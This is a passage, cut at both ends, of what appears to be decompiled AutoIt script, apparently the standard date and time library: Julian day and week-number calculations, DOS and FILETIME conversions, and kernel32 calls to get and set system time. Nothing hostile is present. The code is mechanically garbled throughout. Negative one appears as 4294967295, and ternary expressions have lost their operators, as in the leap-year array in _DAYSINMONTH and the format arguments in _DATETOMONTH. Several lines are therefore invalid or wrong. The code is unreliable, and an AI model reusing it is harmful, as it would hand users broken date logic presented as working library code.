$IMONTH , $IDAY ) IF @ERROR THEN RETURN SETERROR (1 , 0 , "" ) ENDIF IF $IDOW >= 2 THEN RETURN $IDOW + 4294967295 RETURN 7 ENDFUNC FUNC _DATETODAYVALUE ($IYEAR , $IMONTH , $IDAY ) IF NOT _DATEISVALID (STRINGFORMAT ("%04d/%02d/%02d" , $IYEAR , $IMONTH , $IDAY ) ) THEN RETURN SETERROR (1 , 0 , "" ) ENDIF IF $IMONTH < 3 THEN $IMONTH = $IMONTH + 12 $IYEAR = $IYEAR + 4294967295 ENDIF LOCAL $I_FACTORA = INT ($IYEAR / 100 ) LOCAL $I_FACTORB = INT ($I_FACTORA / 4 ) LOCAL $I_FACTORC = 2 - $I_FACTORA + $I_FACTORB LOCAL $I_FACTORE = INT (1461 * ($IYEAR + 4716 ) / 4 ) LOCAL $I_FACTORF = INT (153 * ($IMONTH + 1 ) / 5 ) LOCAL $IJULIANDATE = $I_FACTORC + $IDAY + $I_FACTORE + $I_FACTORF - 1524.500000 RETURN $IJULIANDATE ENDFUNC FUNC _DATETOMONTH ($IMONNUM , $IFORMAT = DEFAULT ) IF $IFORMAT = DEFAULT THEN $IFORMAT = 0 $IMONNUM = INT ($IMONNUM ) IF NOT __DATEISMONTH ($IMONNUM ) THEN RETURN SETERROR (1 , 0 , "" ) LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , @YEAR ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , $IMONNUM ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , 1 ) RETURN _WINAPI_GETDATEFORMAT (BITAND ($IFORMAT , $DMW_LOCALE_LONGNAME ) $LOCALE_USER_DEFAULT $LOCALE_INVARIANT , $TSYSTEMTIME , 0 , BITAND ($IFORMAT , $DMW_SHORTNAME ) "MMM" "MMMM" ) ENDFUNC FUNC _DAYVALUETODATE ($IJULIANDATE , BYREF $IYEAR , BYREF $IMONTH , BYREF $IDAY ) IF $IJULIANDATE < 0 OR NOT ISNUMBER ($IJULIANDATE ) THEN RETURN SETERROR (1 , 0 , 0 ) ENDIF LOCAL $I_FACTORZ = INT ($IJULIANDATE + 0.500000 ) LOCAL $I_FACTORW = INT (($I_FACTORZ - 1867216.250000 ) / 36524.250000 ) LOCAL $I_FACTORX = INT ($I_FACTORW / 4 ) LOCAL $I_FACTORA = $I_FACTORZ + 1 + $I_FACTORW - $I_FACTORX LOCAL $I_FACTORB = $I_FACTORA + 1524 LOCAL $I_FACTORC = INT (($I_FACTORB - 122.100000 ) / 365.250000 ) LOCAL $I_FACTORD = INT (365.250000 * $I_FACTORC ) LOCAL $I_FACTORE = INT (($I_FACTORB - $I_FACTORD ) / 30.600100 ) LOCAL $I_FACTORF = INT (30.600100 * $I_FACTORE ) $IDAY = $I_FACTORB - $I_FACTORD - $I_FACTORF IF $I_FACTORE + 4294967295 < 13 THEN $IMONTH = $I_FACTORE + 4294967295 ELSE $IMONTH = $I_FACTORE + 4294967283 ENDIF IF $IMONTH < 3 THEN $IYEAR = $I_FACTORC + 4294962581 ELSE $IYEAR = $I_FACTORC + 4294962580 ENDIF $IYEAR = STRINGFORMAT ("%04d" , $IYEAR ) $IMONTH = STRINGFORMAT ("%02d" , $IMONTH ) $IDAY = STRINGFORMAT ("%02d" , $IDAY ) RETURN $IYEAR & "/" & $IMONTH & "/" & $IDAY ENDFUNC FUNC _DATE_JULIANDAYNO ($IYEAR , $IMONTH , $IDAY ) LOCAL $SFULLDATE = STRINGFORMAT ("%04d/%02d/%02d" , $IYEAR , $IMONTH , $IDAY ) IF NOT _DATEISVALID ($SFULLDATE ) THEN RETURN SETERROR (1 , 0 , "" ) ENDIF LOCAL $IJDAY = 0 LOCAL $AIDAYSINMONTH = _DAYSINMONTH ($IYEAR ) FOR $ICNTR = 1 TO $IMONTH + 4294967295 $IJDAY = $IJDAY + $AIDAYSINMONTH [$ICNTR ] NEXT $IJDAY = ($IYEAR * 1000 ) + ($IJDAY + $IDAY ) RETURN $IJDAY ENDFUNC FUNC _JULIANTODATE ($IJDAY , $SSEP = "/" ) LOCAL $IYEAR = INT ($IJDAY / 1000 ) LOCAL $IDAYS = MOD ($IJDAY , 1000 ) LOCAL $IMAXDAYS = 365 IF _DATEISLEAPYEAR ($IYEAR ) THEN $IMAXDAYS = 366 IF $IDAYS > $IMAXDAYS THEN RETURN SETERROR (1 , 0 , "" ) ENDIF LOCAL $AIDAYSINMONTH = _DAYSINMONTH ($IYEAR ) LOCAL $IMONTH = 1 WHILE $IDAYS > $AIDAYSINMONTH [$IMONTH ] $IDAYS = $IDAYS - $AIDAYSINMONTH [$IMONTH ] $IMONTH = $IMONTH + 1 WEND RETURN STRINGFORMAT ("%04d%s%02d%s%02d" , $IYEAR , $SSEP , $IMONTH , $SSEP , $IDAYS ) ENDFUNC FUNC _NOW () RETURN _DATETIMEFORMAT (@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC , 0 ) ENDFUNC FUNC _NOWCALC () RETURN @YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC ENDFUNC FUNC _NOWCALCDATE () RETURN @YEAR & "/" & @MON & "/" & @MDAY ENDFUNC FUNC _NOWDATE () RETURN _DATETIMEFORMAT (@YEAR & "/" & @MON & "/" & @MDAY , 0 ) ENDFUNC FUNC _NOWTIME ($STYPE = 3 ) IF $STYPE < 3 OR $STYPE > 5 THEN $STYPE = 3 RETURN _DATETIMEFORMAT (@YEAR & "/" & @MON & "/" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC , $STYPE ) ENDFUNC FUNC _SETDATE ($IDAY , $IMONTH = 0 , $IYEAR = 0 ) IF $IYEAR = 0 THEN $IYEAR = @YEAR IF $IMONTH = 0 THEN $IMONTH = @MON IF NOT _DATEISVALID ($IYEAR & "/" & $IMONTH & "/" & $IDAY ) THEN RETURN 1 LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLCALL ("kernel32.dll" , "none" , "GetLocalTime" , "struct*" , $TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , $IDAY ) IF $IMONTH > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , $IMONTH ) IF $IYEAR > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , $IYEAR ) LOCAL $IRETURN = _DATE_TIME_SETLOCALTIME ($TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN INT ($IRETURN ) ENDFUNC FUNC _SETTIME ($IHOUR , $IMINUTE , $ISECOND = 0 , $IMSECONDS = 0 ) IF $IHOUR < 0 OR $IHOUR > 23 THEN RETURN 1 IF $IMINUTE < 0 OR $IMINUTE > 59 THEN RETURN 1 IF $ISECOND < 0 OR $ISECOND > 59 THEN RETURN 1 IF $IMSECONDS < 0 OR $IMSECONDS > 999 THEN RETURN 1 LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLCALL ("kernel32.dll" , "none" , "GetLocalTime" , "struct*" , $TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Hour" , $IHOUR ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Minute" , $IMINUTE ) IF $ISECOND > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "Second" , $ISECOND ) IF $IMSECONDS > 0 THEN DLLSTRUCTSETDATA ($TSYSTEMTIME , "MSeconds" , $IMSECONDS ) LOCAL $IRETURN = _DATE_TIME_SETLOCALTIME ($TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN INT ($IRETURN ) ENDFUNC FUNC _TICKSTOTIME ($ITICKS , BYREF $IHOURS , BYREF $IMINS , BYREF $ISECS ) IF NUMBER ($ITICKS ) > 0 THEN $ITICKS = INT ($ITICKS / 1000 ) $IHOURS = INT ($ITICKS / 3600 ) $ITICKS = MOD ($ITICKS , 3600 ) $IMINS = INT ($ITICKS / 60 ) $ISECS = MOD ($ITICKS , 60 ) RETURN 1 ELSEIF NUMBER ($ITICKS ) = 0 THEN $IHOURS = 0 $ITICKS = 0 $IMINS = 0 $ISECS = 0 RETURN 1 ELSE RETURN SETERROR (1 , 0 , 0 ) ENDIF ENDFUNC FUNC _TIMETOTICKS ($IHOURS = @HOUR , $IMINS = @MIN , $ISECS = @SEC ) IF STRINGISINT ($IHOURS ) AND STRINGISINT ($IMINS ) AND STRINGISINT ($ISECS ) THEN LOCAL $ITICKS = 1000 * ((3600 * $IHOURS ) + (60 * $IMINS ) + $ISECS ) RETURN $ITICKS ELSE RETURN SETERROR (1 , 0 , 0 ) ENDIF ENDFUNC FUNC _WEEKNUMBERISO ($IYEAR = @YEAR , $IMONTH = @MON , $IDAY = @MDAY ) IF $IDAY > 31 OR $IDAY < 1 THEN RETURN SETERROR (1 , 0 , + 4294967295 ) ELSEIF NOT __DATEISMONTH ($IMONTH ) THEN RETURN SETERROR (2 , 0 , + 4294967295 ) ELSEIF $IYEAR < 1 OR $IYEAR > 2999 THEN RETURN SETERROR (3 , 0 , + 4294967295 ) ENDIF LOCAL $IDOW = _DATETODAYOFWEEKISO ($IYEAR , $IMONTH , $IDAY ) + 4294967295 LOCAL $IDOW0101 = _DATETODAYOFWEEKISO ($IYEAR , 1 , 1 ) + 4294967295 IF ($IMONTH = 1 AND 3 < $IDOW0101 AND $IDOW0101 < 7 - ($IDAY + 4294967295 ) ) THEN $IDOW = $IDOW0101 + 4294967295 $IDOW0101 = _DATETODAYOFWEEKISO ($IYEAR + 4294967295 , 1 , 1 ) + 4294967295 $IMONTH = 12 $IDAY = 31 $IYEAR = $IYEAR + 4294967295 ELSEIF ($IMONTH = 12 AND 30 - ($IDAY + 4294967295 ) < _DATETODAYOFWEEKISO ($IYEAR + 1 , 1 , 1 ) + 4294967295 AND _DATETODAYOFWEEKISO ($IYEAR + 1 , 1 , 1 ) + 4294967295 < 4 ) THEN RETURN 1 ENDIF RETURN INT ((_DATETODAYOFWEEKISO ($IYEAR , 1 , 1 ) + 4294967295 < 4 ) + 4 * ($IMONTH + 4294967295 ) + (2 * ($IMONTH + 4294967295 ) + ($IDAY + 4294967295 ) + $IDOW0101 - $IDOW + 6 ) * 36 / 256 ) ENDFUNC FUNC _WEEKNUMBER ($IYEAR = @YEAR , $IMONTH = @MON , $IDAY = @MDAY , $IWEEKSTART = 1 ) IF $IDAY > 31 OR $IDAY < 1 THEN RETURN SETERROR (1 , 0 , + 4294967295 ) ELSEIF NOT __DATEISMONTH ($IMONTH ) THEN RETURN SETERROR (3 , 0 , + 4294967295 ) ELSEIF $IYEAR < 1 OR $IYEAR > 2999 THEN RETURN SETERROR (4 , 0 , + 4294967295 ) ELSEIF $IWEEKSTART < 1 OR $IWEEKSTART > 2 THEN RETURN SETERROR (2 , 0 , + 4294967295 ) ENDIF LOCAL $ISTARTWEEK1 , $IENDWEEK1 LOCAL $IDOW0101 = _DATETODAYOFWEEKISO ($IYEAR , 1 , 1 ) LOCAL $IDATE = $IYEAR & "/" & $IMONTH & "/" & $IDAY IF $IWEEKSTART = 1 THEN IF $IDOW0101 = 6 THEN $ISTARTWEEK1 = 0 ELSE $ISTARTWEEK1 = + 4294967295 * $IDOW0101 + 4294967295 ENDIF $IENDWEEK1 = $ISTARTWEEK1 + 6 ELSE $ISTARTWEEK1 = $IDOW0101 * + 4294967295 $IENDWEEK1 = $ISTARTWEEK1 + 6 ENDIF LOCAL $ISTARTWEEK1NY LOCAL $IENDWEEK1DATE = _DATEADD ("d" , $IENDWEEK1 , $IYEAR & "/01/01" ) LOCAL $IDOW0101NY = _DATETODAYOFWEEKISO ($IYEAR + 1 , 1 , 1 ) IF $IWEEKSTART = 1 THEN IF $IDOW0101NY = 6 THEN $ISTARTWEEK1NY = 0 ELSE $ISTARTWEEK1NY = + 4294967295 * $IDOW0101NY + 4294967295 ENDIF ELSE $ISTARTWEEK1NY = $IDOW0101NY * + 4294967295 ENDIF LOCAL $ISTARTWEEK1DATENY = _DATEADD ("d" , $ISTARTWEEK1NY , $IYEAR + 1 & "/01/01" ) LOCAL $ICURRDATEDIFF = _DATEDIFF ("d" , $IENDWEEK1DATE , $IDATE ) + 4294967295 LOCAL $ICURRDATEDIFFNY = _DATEDIFF ("d" , $ISTARTWEEK1DATENY , $IDATE ) IF $ICURRDATEDIFF >= 0 AND $ICURRDATEDIFFNY < 0 THEN RETURN 2 + INT ($ICURRDATEDIFF / 7 ) IF $ICURRDATEDIFF < 0 OR $ICURRDATEDIFFNY >= 0 THEN RETURN 1 ENDFUNC FUNC _DAYSINMONTH ($IYEAR ) LOCAL $ADAYS = [12 , 31 , (_DATEISLEAPYEAR ($IYEAR ) 29 28 ) , 31 , 30 , 31 , 30 , 31 , 31 , 30 , 31 , 30 , 31 ] RETURN $ADAYS ENDFUNC FUNC __DATE_TIME_CLONESYSTEMTIME ($PSYSTEMTIME ) LOCAL $TSYSTEMTIME1 = DLLSTRUCTCREATE ($TAGSYSTEMTIME , $PSYSTEMTIME ) LOCAL $TSYSTEMTIME2 = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Month" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Month" ) ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Day" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Day" ) ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Year" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Year" ) ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Hour" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Hour" ) ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Minute" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Minute" ) ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Second" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Second" ) ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "MSeconds" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "MSeconds" ) ) DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "DOW" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "DOW" ) ) RETURN $TSYSTEMTIME2 ENDFUNC FUNC _DATE_TIME_COMPAREFILETIME ($TFILETIME1 , $TFILETIME2 ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "long" , "CompareFileTime" , "struct*" , $TFILETIME1 , "struct*" , $TFILETIME2 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _DATE_TIME_DOSDATETIMETOFILETIME ($IFATDATE , $IFATTIME ) LOCAL $TTIME = DLLSTRUCTCREATE ($TAGFILETIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "DosDateTimeToFileTime" , "word" , $IFATDATE , "word" , $IFATTIME , "struct*" , $TTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $TTIME ) ENDFUNC FUNC _DATE_TIME_DOSDATETOARRAY ($IDOSDATE ) LOCAL $ADATE [3 ] $ADATE [0 ] = BITAND ($IDOSDATE , 31 ) $ADATE [1 ] = BITAND (BITSHIFT ($IDOSDATE , 5 ) , 15 ) $ADATE [2 ] = BITAND (BITSHIFT ($IDOSDATE , 9 ) , 63 ) + 1980 RETURN $ADATE ENDFUNC FUNC _DATE_TIME_DOSDATETIMETOARRAY ($IDOSDATE , $IDOSTIME ) LOCAL $ADATE [6 ] $ADATE [0 ] = BITAND ($IDOSDATE , 31 ) $ADATE [1 ] = BITAND (BITSHIFT ($IDOSDATE , 5 ) , 15 ) $ADATE [2 ] = BITAND (BITSHIFT ($IDOSDATE , 9 ) , 63 ) + 1980 $ADATE [5 ] = BITAND ($IDOSTIME , 31 ) * 2 $ADATE [4 ] = BITAND (BITSHIFT ($IDOSTIME , 5 ) , 63 ) $ADATE [3 ] = BITAND (BITSHIFT ($IDOSTIME , 11 ) , 31 ) RETURN $ADATE ENDFUNC FUNC _DATE_TIME_DOSDATETIMETOSTR ($IDOSDATE , $IDOSTIME ) LOCAL $ADATE = _DATE_TIME_DOSDATETIMETOARRAY ($IDOSDATE , $IDOSTIME ) RETURN STRINGFORMAT ("%02d/%02d/%04d %02d:%02d:%02d" , $ADATE [0 ] , $ADATE [1 ] , $ADATE [2 ] , $ADATE [3 ] , $ADATE [4 ] , $ADATE [5 ] ) ENDFUNC FUNC _DATE_TIME_DOSDATETOSTR ($IDOSDATE ) LOCAL $ADATE = _DATE_TIME_DOSDATETOARRAY ($IDOSDATE ) RETURN STRINGFORMAT ("%02d/%02d/%04d" , $ADATE [0 ] , $ADATE [1 ] , $ADATE [2 ] ) ENDFUNC FUNC _DATE_TIME_DOSTIMETOARRAY ($IDOSTIME ) LOCAL $ATIME [3 ] $ATIME [2 ] = BITAND ($IDOSTIME , 31 ) * 2 $ATIME [1 ] = BITAND (BITSHIFT ($IDOSTIME , 5 ) , 63 ) $ATIME [0 ] = BITAND (BITSHIFT ($IDOSTIME , 11 ) , 31 ) RETURN $ATIME ENDFUNC FUNC _DATE_TIME_DOSTIMETOSTR ($IDOSTIME ) LOCAL $ATIME = _DATE_TIME_DOSTIMETOARRAY ($IDOSTIME ) RETURN STRINGFORMAT ("%02d:%02d:%02d" , $ATIME [0 ] , $ATIME [1 ] , $ATIME [2 ] ) ENDFUNC FUNC _DATE_TIME_ENCODEFILETIME ($IMONTH , $IDAY , $IYEAR , $IHOUR = 0 , $IMINUTE = 0 , $ISECOND = 0 , $IMSECONDS = 0 ) LOCAL $TSYSTEMTIME = _DATE_TIME_ENCODESYSTEMTIME ($IMONTH , $IDAY , $IYEAR , $IHOUR , $IMINUTE , $ISECOND , $IMSECONDS ) RETURN _DATE_TIME_SYSTEMTIMETOFILETIME ($TSYSTEMTIME ) ENDFUNC FUNC _DATE_TIME_ENCODESYSTEMTIME ($IMONTH , $IDAY , $IYEAR , $IHOUR = 0 , $IMINUTE = 0 , $ISECOND = 0 , $IMSECONDS = 0 ) LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , $IMONTH ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , $IDAY ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , $IYEAR ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Hour" , $IHOUR ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Minute" , $IMINUTE ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "Second" , $ISECOND ) DLLSTRUCTSETDATA ($TSYSTEMTIME , "MSeconds" , $IMSECONDS ) RETURN $TSYSTEMTIME ENDFUNC FUNC _DATE_TIME_FILETIMETOARRAY (BYREF $TFILETIME ) IF ((DLLSTRUCTGETDATA ($TFILETIME , 1 ) + DLLSTRUCTGETDATA ($TFILETIME , 2 ) ) = 0 ) THEN RETURN SETERROR (10 , 0 , 0 ) LOCAL $TSYSTEMTIME = _DATE_TIME_FILETIMETOSYSTEMTIME ($TFILETIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME ) ENDFUNC FUNC _DATE_TIME_FILETIMETOSTR (BYREF $TFILETIME , $IFMT = 0 ) LOCAL $ADATE = _DATE_TIME_FILETIMETOARRAY ($TFILETIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF $IFMT THEN RETURN STRINGFORMAT ("%04d/%02d/%02d %02d:%02d:%02d" , $ADATE [2 ] , $ADATE [0 ] , $ADATE [1 ] , $ADATE [3 ] , $ADATE [4 ] , $ADATE [5 ] ) ELSE RETURN STRINGFORMAT ("%02d/%02d/%04d %02d:%02d:%02d" , $ADATE [0 ] , $ADATE [1 ] , $ADATE [2 ] , $ADATE [3 ] , $ADATE [4 ] , $ADATE [5 ] ) ENDIF ENDFUNC FUNC _DATE_TIME_FILETIMETODOSDATETIME ($TFILETIME ) LOCAL $ADATE [2 ] LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FileTimeToDosDateTime" , "struct*" , $TFILETIME , "word*" , 0 , "word*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , $ADATE ) $ADATE [0 ] = $ARESULT [2 ] $ADATE [1 ] = $ARESULT [3 ] RETURN SETEXTENDED ($ARESULT [0 ] , $ADATE ) ENDFUNC FUNC _DATE_TIME_FILETIMETOLOCALFILETIME ($TFILETIME ) LOCAL $TLOCAL = DLLSTRUCTCREATE ($TAGFILETIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FileTimeToLocalFileTime" , "struct*" , $TFILETIME , "struct*" , $TLOCAL ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $TLOCAL ) ENDFUNC FUNC _DATE_TIME_FILETIMETOSYSTEMTIME ($TFILETIME ) LOCAL $TSYSTTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FileTimeToSystemTime" , "struct*" , $TFILETIME , "struct*" , $TSYSTTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $TSYSTTIME ) ENDFUNC FUNC _DATE_TIME_GETFILETIME ($HFILE ) LOCAL $ADATE [3 ] $ADATE [0 ] = DLLSTRUCTCREATE ($TAGFILETIME ) $ADATE [1 ] = DLLSTRUCTCREATE ($TAGFILETIME ) $ADATE [2 ] = DLLSTRUCTCREATE ($TAGFILETIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GetFileTime" , "handle" , $HFILE , "struct*" , $ADATE [0 ] , "struct*" , $ADATE [1 ] , "struct*" , $ADATE [2 ] ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $ADATE ) ENDFUNC FUNC _DATE_TIME_GETLOCALTIME () LOCAL $TSYSTTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLCALL ("kernel32.dll" , "none" , "GetLocalTime" , "struct*" , $TSYSTTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $TSYSTTIME ENDFUNC FUNC _DATE_TIME_GETSYSTEMTIME () LOCAL $TSYSTTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME ) DLLCALL ("kernel32.dll" , "none" , "GetSystemTime" , "struct*" , $TSYSTTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $TSYSTTIME ENDFUNC FUNC _DATE_TIME_GETSYSTEMTIMEADJUSTMENT () LOCAL $AINFO [3 ] LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GetSystemTimeAdjustment" , "dword*" , 0 , "dword*" , 0 , "bool*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) $AINFO [0 ] = $ARESULT [1 ] $AINFO [1 ] = $ARESULT [2 ] $AINFO [2 ] = $ARESULT [3 ] <> 0 RETURN SETEXTENDED ($ARESULT [0 ] , $AINFO ) ENDFUNC FUNC _DATE_TIME_GETSYSTEMTIMEASFILETIME () LOCAL $TFILETIME = DLLSTRUCTCREATE ($TAGFILETIME ) DLLCALL ("kernel32.dll" , "none" , "GetSystemTimeAsFileTime" , "struct*" , $TFILETIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $TFILETIME ENDFUNC FUNC _DATE_TIME_GETSYSTEMTIMES () LOCAL $AINFO [3 ] $AINFO [0 ] = DLLSTRUCTCREATE ($TAGFILETIME ) $AINFO [1 ] = DLLSTRUCTCREATE ($TAGFILETIME ) $AINFO [2 ] = DLLSTRUCTCREATE ($TAGFILETIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GetSystemTimes" , "struct*" , $AINFO [0 ] , "struct*" , $AINFO [1 ] , "struct*" , $AINFO [2 ] ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $AINFO ) ENDFUNC FUNC _DATE_TIME_GETTICKCOUNT () LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "GetTickCount" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _DATE_TIME_GETTIMEZONEINFORMATION () LOCAL $TTIMEZONE = DLLSTRUCTCREATE ($TAGTIME_ZONE_INFORMATION ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "GetTimeZoneInformation" , "struct*" , $TTIMEZONE ) IF @ERROR OR $ARESULT [0 ] = + 4294967295 THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) LOCAL $AINFO [8 ] $AINFO [0 ] = $ARESULT [0 ] $AINFO [1 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "Bias" ) $AINFO [2 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "StdName" ) $AINFO [3 ] = __DATE_TIME_CLONESYSTEMTIME (DLLSTRUCTGETPTR ($TTIMEZONE , "StdDate" ) ) $AINFO [4 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "StdBias" ) $AINFO [5 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "DayName" ) $AINFO [6 ] = __DATE_TIME_CLONESYSTEMTIME (DLLSTRUCTGETPTR ($TTIMEZONE , "DayDate" ) ) $AINFO [7 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "DayBias" ) RETURN $AINFO ENDFUNC FUNC _DATE_TIME_LOCALFILETIMETOFILETIME ($TLOCALTIME ) LOCAL $TFILETIME = DLLSTRUCTCREATE ($TAGFILETIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "LocalFileTimeToFileTime" , "struct*" , $TLOCALTIME , "struct*" , $TFILETIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN SETEXTENDED ($ARESULT [0 ] , $TFILETIME ) ENDFUNC FUNC _DATE_TIME_SETFILETIME ($HFILE , $TCREATETIME , $TLASTACCESS , $TLASTWRITE ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetFileTime" , "handle" , $HFILE , "struct*" , $TCREATETIME , "struct*" , $TLASTACCESS , "struct*" , $TLASTWRITE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _DATE_TIME_SETLOCALTIME ($TSYSTEMTIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetLocalTime" , "struct*" , $TSYSTEMTIME ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE ) $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetLocalTime" , "struct*" , $TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _DATE_TIME_SETSYSTEMTIME ($TSYSTEMTIME ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetSystemTime" , "struct*" , $TSYSTEMTIME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _DATE_TIME_SETSYSTEMTIMEADJUSTMENT ($IADJUSTMENT , $BDISABLED ) LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKENEX (BITOR ($TOKEN_ADJUST_PRIVILEGES , $TOKEN_QUERY ) ) IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE ) _SECURITY__SETPRIVILEGE ($HTOKEN , "SeSystemtimePrivilege" , TRUE ) LOCAL $IERROR = @ERROR LOCAL $ILASTERROR = @EXTENDED LOCAL $BRET = FALSE IF NOT @ERROR THEN LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetSystemTimeAdjustment" , "dword" , $IADJUSTMENT , "bool" , $BDISABLED ) IF @ERROR THEN $IERROR = @ERROR $ILASTERROR = @EXTENDED ELSEIF $ARESULT [0 ] THEN $BRET = TRUE ELSE $IERROR = 20 $ILASTERROR = _WINAPI_GETLASTERROR () ENDIF _SECURITY__SETPRIVILEGE ($HTOKEN , "SeSystemtimePrivilege" , FALSE ) IF NOT $IERROR AND @ERROR THEN $IERROR = 22 ENDIF _WINAPI_CLOSEHANDLE ($HTOKEN ) RETURN SETERROR ($IERROR , $ILASTERROR , $BRET ) ENDFUNC FUNC _DATE_TIME_SETTIMEZONEINFORMATION ($IBIAS , $SSTDNAME , $TSTDDATE , $ISTDBIAS , $SDAYNAME , $TDAYDATE , $IDAYBIAS ) LOCAL $TZONEINFO = DLLSTRUCTCREATE 